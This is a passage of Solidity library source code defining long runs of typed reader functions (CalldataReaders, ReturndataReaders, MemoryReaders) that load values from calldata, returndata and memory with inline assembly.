value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int64 at `cdPtr` in calldata.\n function readInt64(\n CalldataPointer cdPtr\n ) internal pure returns (int64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int72 at `cdPtr` in calldata.\n function readInt72(\n CalldataPointer cdPtr\n ) internal pure returns (int72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int80 at `cdPtr` in calldata.\n function readInt80(\n CalldataPointer cdPtr\n ) internal pure returns (int80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int88 at `cdPtr` in calldata.\n function readInt88(\n CalldataPointer cdPtr\n ) internal pure returns (int88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int96 at `cdPtr` in calldata.\n function readInt96(\n CalldataPointer cdPtr\n ) internal pure returns (int96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int104 at `cdPtr` in calldata.\n function readInt104(\n CalldataPointer cdPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int112 at `cdPtr` in calldata.\n function readInt112(\n CalldataPointer cdPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int120 at `cdPtr` in calldata.\n function readInt120(\n CalldataPointer cdPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int128 at `cdPtr` in calldata.\n function readInt128(\n CalldataPointer cdPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int136 at `cdPtr` in calldata.\n function readInt136(\n CalldataPointer cdPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int144 at `cdPtr` in calldata.\n function readInt144(\n CalldataPointer cdPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int152 at `cdPtr` in calldata.\n function readInt152(\n CalldataPointer cdPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int160 at `cdPtr` in calldata.\n function readInt160(\n CalldataPointer cdPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int168 at `cdPtr` in calldata.\n function readInt168(\n CalldataPointer cdPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int176 at `cdPtr` in calldata.\n function readInt176(\n CalldataPointer cdPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int184 at `cdPtr` in calldata.\n function readInt184(\n CalldataPointer cdPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int192 at `cdPtr` in calldata.\n function readInt192(\n CalldataPointer cdPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int200 at `cdPtr` in calldata.\n function readInt200(\n CalldataPointer cdPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int208 at `cdPtr` in calldata.\n function readInt208(\n CalldataPointer cdPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int216 at `cdPtr` in calldata.\n function readInt216(\n CalldataPointer cdPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int224 at `cdPtr` in calldata.\n function readInt224(\n CalldataPointer cdPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int232 at `cdPtr` in calldata.\n function readInt232(\n CalldataPointer cdPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int240 at `cdPtr` in calldata.\n function readInt240(\n CalldataPointer cdPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int248 at `cdPtr` in calldata.\n function readInt248(\n CalldataPointer cdPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int256 at `cdPtr` in calldata.\n function readInt256(\n CalldataPointer cdPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n}\n\nlibrary ReturndataReaders {\n /// @dev Reads value at `rdPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n value = rdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `rdPtr` in returndata.\n function readBool(\n ReturndataPointer rdPtr\n ) internal pure returns (bool value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the address at `rdPtr` in returndata.\n function readAddress(\n ReturndataPointer rdPtr\n ) internal pure returns (address value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes1 at `rdPtr` in returndata.\n function readBytes1(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes2 at `rdPtr` in returndata.\n function readBytes2(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes3 at `rdPtr` in returndata.\n function readBytes3(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes4 at `rdPtr` in returndata.\n function readBytes4(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes5 at `rdPtr` in returndata.\n function readBytes5(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes6 at `rdPtr` in returndata.\n function readBytes6(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes7 at `rdPtr` in returndata.\n function readBytes7(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes8 at `rdPtr` in returndata.\n function readBytes8(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes9 at `rdPtr` in returndata.\n function readBytes9(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes10 at `rdPtr` in returndata.\n function readBytes10(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes11 at `rdPtr` in returndata.\n function readBytes11(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes12 at `rdPtr` in returndata.\n function readBytes12(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes13 at `rdPtr` in returndata.\n function readBytes13(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes14 at `rdPtr` in returndata.\n function readBytes14(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes15 at `rdPtr` in returndata.\n function readBytes15(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes16 at `rdPtr` in returndata.\n function readBytes16(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes17 at `rdPtr` in returndata.\n function readBytes17(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes18 at `rdPtr` in returndata.\n function readBytes18(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes19 at `rdPtr` in returndata.\n function readBytes19(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes20 at `rdPtr` in returndata.\n function readBytes20(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes21 at `rdPtr` in returndata.\n function readBytes21(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes22 at `rdPtr` in returndata.\n function readBytes22(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes23 at `rdPtr` in returndata.\n function readBytes23(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes24 at `rdPtr` in returndata.\n function readBytes24(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes25 at `rdPtr` in returndata.\n function readBytes25(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes26 at `rdPtr` in returndata.\n function readBytes26(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes27 at `rdPtr` in returndata.\n function readBytes27(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes28 at `rdPtr` in returndata.\n function readBytes28(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes29 at `rdPtr` in returndata.\n function readBytes29(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes30 at `rdPtr` in returndata.\n function readBytes30(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes31 at `rdPtr` in returndata.\n function readBytes31(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes32 at `rdPtr` in returndata.\n function readBytes32(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint8 at `rdPtr` in returndata.\n function readUint8(\n ReturndataPointer rdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint16 at `rdPtr` in returndata.\n function readUint16(\n ReturndataPointer rdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint24 at `rdPtr` in returndata.\n function readUint24(\n ReturndataPointer rdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint32 at `rdPtr` in returndata.\n function readUint32(\n ReturndataPointer rdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint40 at `rdPtr` in returndata.\n function readUint40(\n ReturndataPointer rdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint48 at `rdPtr` in returndata.\n function readUint48(\n ReturndataPointer rdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint56 at `rdPtr` in returndata.\n function readUint56(\n ReturndataPointer rdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint64 at `rdPtr` in returndata.\n function readUint64(\n ReturndataPointer rdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint72 at `rdPtr` in returndata.\n function readUint72(\n ReturndataPointer rdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint80 at `rdPtr` in returndata.\n function readUint80(\n ReturndataPointer rdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint88 at `rdPtr` in returndata.\n function readUint88(\n ReturndataPointer rdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint96 at `rdPtr` in returndata.\n function readUint96(\n ReturndataPointer rdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint104 at `rdPtr` in returndata.\n function readUint104(\n ReturndataPointer rdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint112 at `rdPtr` in returndata.\n function readUint112(\n ReturndataPointer rdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint120 at `rdPtr` in returndata.\n function readUint120(\n ReturndataPointer rdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint128 at `rdPtr` in returndata.\n function readUint128(\n ReturndataPointer rdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint136 at `rdPtr` in returndata.\n function readUint136(\n ReturndataPointer rdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint144 at `rdPtr` in returndata.\n function readUint144(\n ReturndataPointer rdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint152 at `rdPtr` in returndata.\n function readUint152(\n ReturndataPointer rdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint160 at `rdPtr` in returndata.\n function readUint160(\n ReturndataPointer rdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint168 at `rdPtr` in returndata.\n function readUint168(\n ReturndataPointer rdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint176 at `rdPtr` in returndata.\n function readUint176(\n ReturndataPointer rdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint184 at `rdPtr` in returndata.\n function readUint184(\n ReturndataPointer rdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint192 at `rdPtr` in returndata.\n function readUint192(\n ReturndataPointer rdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint200 at `rdPtr` in returndata.\n function readUint200(\n ReturndataPointer rdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint208 at `rdPtr` in returndata.\n function readUint208(\n ReturndataPointer rdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint216 at `rdPtr` in returndata.\n function readUint216(\n ReturndataPointer rdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint224 at `rdPtr` in returndata.\n function readUint224(\n ReturndataPointer rdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint232 at `rdPtr` in returndata.\n function readUint232(\n ReturndataPointer rdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint240 at `rdPtr` in returndata.\n function readUint240(\n ReturndataPointer rdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint248 at `rdPtr` in returndata.\n function readUint248(\n ReturndataPointer rdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint256 at `rdPtr` in returndata.\n function readUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int8 at `rdPtr` in returndata.\n function readInt8(\n ReturndataPointer rdPtr\n ) internal pure returns (int8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int16 at `rdPtr` in returndata.\n function readInt16(\n ReturndataPointer rdPtr\n ) internal pure returns (int16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int24 at `rdPtr` in returndata.\n function readInt24(\n ReturndataPointer rdPtr\n ) internal pure returns (int24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int32 at `rdPtr` in returndata.\n function readInt32(\n ReturndataPointer rdPtr\n ) internal pure returns (int32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int40 at `rdPtr` in returndata.\n function readInt40(\n ReturndataPointer rdPtr\n ) internal pure returns (int40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int48 at `rdPtr` in returndata.\n function readInt48(\n ReturndataPointer rdPtr\n ) internal pure returns (int48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int56 at `rdPtr` in returndata.\n function readInt56(\n ReturndataPointer rdPtr\n ) internal pure returns (int56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int64 at `rdPtr` in returndata.\n function readInt64(\n ReturndataPointer rdPtr\n ) internal pure returns (int64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int72 at `rdPtr` in returndata.\n function readInt72(\n ReturndataPointer rdPtr\n ) internal pure returns (int72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int80 at `rdPtr` in returndata.\n function readInt80(\n ReturndataPointer rdPtr\n ) internal pure returns (int80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int88 at `rdPtr` in returndata.\n function readInt88(\n ReturndataPointer rdPtr\n ) internal pure returns (int88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int96 at `rdPtr` in returndata.\n function readInt96(\n ReturndataPointer rdPtr\n ) internal pure returns (int96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int104 at `rdPtr` in returndata.\n function readInt104(\n ReturndataPointer rdPtr\n ) internal pure returns (int104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int112 at `rdPtr` in returndata.\n function readInt112(\n ReturndataPointer rdPtr\n ) internal pure returns (int112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int120 at `rdPtr` in returndata.\n function readInt120(\n ReturndataPointer rdPtr\n ) internal pure returns (int120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int128 at `rdPtr` in returndata.\n function readInt128(\n ReturndataPointer rdPtr\n ) internal pure returns (int128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int136 at `rdPtr` in returndata.\n function readInt136(\n ReturndataPointer rdPtr\n ) internal pure returns (int136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int144 at `rdPtr` in returndata.\n function readInt144(\n ReturndataPointer rdPtr\n ) internal pure returns (int144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int152 at `rdPtr` in returndata.\n function readInt152(\n ReturndataPointer rdPtr\n ) internal pure returns (int152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int160 at `rdPtr` in returndata.\n function readInt160(\n ReturndataPointer rdPtr\n ) internal pure returns (int160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int168 at `rdPtr` in returndata.\n function readInt168(\n ReturndataPointer rdPtr\n ) internal pure returns (int168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int176 at `rdPtr` in returndata.\n function readInt176(\n ReturndataPointer rdPtr\n ) internal pure returns (int176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int184 at `rdPtr` in returndata.\n function readInt184(\n ReturndataPointer rdPtr\n ) internal pure returns (int184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int192 at `rdPtr` in returndata.\n function readInt192(\n ReturndataPointer rdPtr\n ) internal pure returns (int192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int200 at `rdPtr` in returndata.\n function readInt200(\n ReturndataPointer rdPtr\n ) internal pure returns (int200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int208 at `rdPtr` in returndata.\n function readInt208(\n ReturndataPointer rdPtr\n ) internal pure returns (int208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int216 at `rdPtr` in returndata.\n function readInt216(\n ReturndataPointer rdPtr\n ) internal pure returns (int216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int224 at `rdPtr` in returndata.\n function readInt224(\n ReturndataPointer rdPtr\n ) internal pure returns (int224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int232 at `rdPtr` in returndata.\n function readInt232(\n ReturndataPointer rdPtr\n ) internal pure returns (int232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int240 at `rdPtr` in returndata.\n function readInt240(\n ReturndataPointer rdPtr\n ) internal pure returns (int240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int248 at `rdPtr` in returndata.\n function readInt248(\n ReturndataPointer rdPtr\n ) internal pure returns (int248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int256 at `rdPtr` in returndata.\n function readInt256(\n ReturndataPointer rdPtr\n ) internal pure returns (int256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n}\n\nlibrary MemoryReaders {\n /// @dev Reads the memory pointer at `mPtr` in memory.\n function readMemoryPointer(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads value at `mPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n value = mPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `mPtr` in memory.\n function readBool(MemoryPointer mPtr) internal pure returns (bool value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the address at `mPtr` in memory.\n function readAddress(\n MemoryPointer mPtr\n ) internal pure returns (address value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `mPtr` in memory.\n function readBytes1(\n MemoryPointer mPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `mPtr` in memory.\n function readBytes2(\n MemoryPointer mPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `mPtr` in memory.\n function readBytes3(\n MemoryPointer mPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `mPtr` in memory.\n function readBytes4(\n MemoryPointer mPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `mPtr` in memory.\n function readBytes5(\n MemoryPointer mPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `mPtr` in memory.\n function readBytes6(\n MemoryPointer mPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `mPtr` in memory.\n function readBytes7(\n MemoryPointer mPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `mPtr` in memory.\n function readBytes8(\n MemoryPointer mPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `mPtr` in memory.\n function readBytes9(\n 